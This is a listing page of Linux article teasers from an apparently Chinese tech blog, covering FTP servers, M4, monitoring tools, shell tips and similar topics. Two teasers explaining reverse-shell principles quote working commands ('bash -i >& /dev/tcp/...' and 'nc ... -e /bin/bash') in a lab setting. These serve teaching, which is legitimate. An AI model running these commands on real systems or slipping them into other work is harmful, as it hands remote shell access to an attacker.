栏目: Linux

Linux安装部署Ftp图片服务器

1.安装http反向代理服务器、安装ftp文件传输组件vsftpd详细安装及配置参见Centos7搭建Vsftpd图片服务器2.搭建图片服务器环境2.1实现的效果例如,图片通过ftp客户端上传至服务器/home/ftpuser/www/images目录下,我想通过nginx反向代理服务器来访问ftp...

2021-06-21 231 0 0 阅读全文

让这世界再多一份GNU M4教程 (全文整理)

事实上,这个世界并没有几份GNUm4教程。这个文档系列是我第一次认真学习GNUm4并进行了一些实践之后的一些总结。由于我在撰写此文的过程中充满着像m4展开一个又一个宏一般的耐心,因此这篇文章会比较长。在这个信息碎片化的时代,似乎没有很多人愿意去看很长的文章,大家更喜欢干货。为了节省大家的时间,必须声...

2021-07-18 177 0 0 阅读全文

Shell脚本自动化创建虚拟机的基本配置Tomcat-Mysql-Jdk-Maven

自动化shell脚本ps:此处安装的jdk,maven,tomcat均在/opt目录下,如需其他目录或者其他版本,可根据需要改动shell脚本即可。ps:所有代码全部手敲,已亲测能够使用,全部分享出来。ps:上述代码在放进sh文件中,需要chmod改变文件权限赋予它执行权限。ps:系统版本为cent...

2021-06-25 212 0 0 阅读全文

Linux系统安装Msf

还是自己写下安装过程吧!我的服务器系统是Aliyunlinux1、下载安装curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrap...

2021-06-25 228 0 0 阅读全文

最常用Shell命令集合和使用技巧

一、控制台使用技巧基于我平时的工作经验,总结出一些我常用的快捷键1.1操作快捷键Ctrl+r:可以快速查找历史命令Ctrl+a/Ctrl+e:移动光标到命令行首/行尾Ctrl+w/Ctrl+k:删除光标之前/之后的内容1.2VIM文件编辑快捷键ZZ:文件保存并退出1.3进程操作快捷键Ctrl+c:强...

2021-06-25 226 0 0 阅读全文

Ubuntu上Vim安装NERDTree插件的详细操作步骤

NERDTree是Vim的文件系统浏览器,使用此插件,用户可以直观地浏览复杂的目录层次结构,快速打开文件以进行读取或编辑,以及执行基本的文件系统操作。NERDTree源码在https://github.com/preservim/nerdtree。这里通过Vundle安装NERDTree,Vundl...

2021-05-20 194 0 0 阅读全文

浅析Hyper-V安装CentOS 8问题

CentOS8已经发布很长时间了,作为一直折腾Linux虚拟机的一员怎么少的了我。环境&准备工作系统:Win10pro19H1虚拟机:Hyper-VISO:CentOS8问题Hyper-V安装CentOS8选择ServerwithGUI开机之后黑屏。官网说:注意:不要选择带有GUI的服务器作...

2021-04-29 218 0 0 阅读全文

详细讲解计算机网络—应用层

应用层协议在传输层之上,便是应用层。传输层的UDP报文和TCP报文段的数据部分就是应用层交付的数据。应用层直接为用户提供服务,应用层有很多协议,每一个协议对应着计算机上的一个服务。不同类型的网络应用有不同的通信规则,因此应用层协议是多种多样的,比如DNS、FTP、Telnet、SMTP、HTTP、R...

2021-08-19 133 0 0 阅读全文

在Ubuntu20.04 LTS中配置Java开发环境

在Ubuntu20.04LTS中配置Java开发环境下载Java开发工具包jdkjdk的下载地址为:http://www.oracle.com/technetwork/java/javase/downloads/index.html。点击红色方框中的JDKDownload链接。在下载页面中根据自己的...

2021-05-26 240 0 0 阅读全文

Linux页面置换算法的C语言实现

Linux页面置换算法的C语言实现编写算法,实现页面置换算法FIFO、LRU、OPT;针对内存地址引用串,进行页面置换算法进行页面置换。其中,算法所需的各种参数由输入产生(手工输入或者随机数产生);输出内存驻留的页面集合,缺页次数以及缺页率。#include//#include#include#in...

2021-04-06 168 0 0 阅读全文

Grafana安装及使用教程详解

1.下载grafana并安装1.1官网下载较慢,在清华镜像站下载下载链接>>https://mirrors.tuna.tsinghua.edu.cn/grafana/yum/rpm/1.2下载之后上传上传之后查看[root@localhost~]#lsgrafana-7.3.3-1.x8...

2021-03-15 258 0 0 阅读全文

一文秒懂Prometheus 介绍及工作原理

1.Prometheus介绍Prometheus是一套开源的系统监控报警框,相比Nagios或者Zabbix拥有如下优点1.1易管理性Prometheus:Prometheus核心部分只有一个单独的二进制文件,可直接在本地工作,不依赖于分布式存储。1.2业务数据相关性Prometheus:监控服务的...

2021-03-15 202 0 0 阅读全文

使ApacheBench支持Multi-Url的方法

由于标准的ab只支持对单个uri进行压测,不满足实际需要,故做以下修改,使ab支持multi-url。1、下载Apachehttpd相关源码包以及针对ab工具的patch包wgethttps://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.6.5.ta...

2021-04-06 174 0 0 阅读全文

关于使用Shell脚本循环处理文本的问题

公司是使用puppet来进行配置管理,某天修改完puppet后领导回复:我们有一个文档cabinet.txt记录了物理机器所在的机柜,除了文档里的其他机器都是虚拟机或云服务器,对虚拟机的puppet配置文件使用git还原为上一个版本,不过机器数量非常多,所以想能否使用脚本来跑一下,没有想象中的那么麻...

2021-06-21 152 0 0 阅读全文

Gaussdb200安装 Data Studio Jdbc Idea链接保姆级安装步骤

安装步骤所使用linux为:openEuler-20.03-LTS-x86_64openEuler下载地址修改本机的ip地址vi/etc/sysconfig/network-scripts/ifcfg-ens33TYPE=EthernetPROXY_METHOD=noneBROWSER_ONLY=n...

2021-08-19 206 0 0 阅读全文

浅析Linux之Bash反弹Shell原理

环境攻击机:kaliip:192.168.25.144靶机:centosip:192.168.25.142过程kali监听本地8888端口靶机centos写入反弹shell的命令bash-i>&/dev/tcp/192.168.25.144/88880>&1攻击机kali...

2021-05-15 211 0 0 阅读全文

Linux中Nohup与&的用法和区别详解

示例:我们用python代码loop_hello.py做示例,代码的作用是循环输出循环次数和helloworld!,每次输出后sleep1秒示例代码如下:importtimedefmain():i=0whileTrue:i+=1print('%d:helloworld!'%(i))time.slee...

2021-04-30 159 0 0 阅读全文

Linux反弹Shell的原理详解

完整命令反弹shell命令:bash-i>&/dev/tcp/10.0.0.1/80800>&1bash-i>/dev/tcp/ip/port0>&12>&1利用nc反弹shell:nc-lvvp12345-t-e/bin/bash原理b...

2021-05-15 145 0 0 阅读全文

Linux内核如何输出中文字符的方法示例

你在Windows/MacOS的登录Linux的SSH终端上很容易输入中文并且获得中文输出,比如下面这样:但是却几乎不可能将中文显示在Linux自身的虚拟终端上:[root@localhostfont]#echo皮鞋>/dev/tty2显示了两个问号,显然Linux内核并不能识别中文。为什么说...

2021-04-28 181 0 0 阅读全文

Linux环境下Nodejs的安装图文教程

在linux环境下nodejs安装1、在官网下载nodejs,选择左边的。2、选择文件右击点击extracthere进行解压3、进入bin目录,右击选择properties,解压文件可以随意放在系统里一个位置。复制location里的路径4、添加路径进入.bashrc文件,在末尾处添加步骤三的loc...

2021-05-26 194 0 0 阅读全文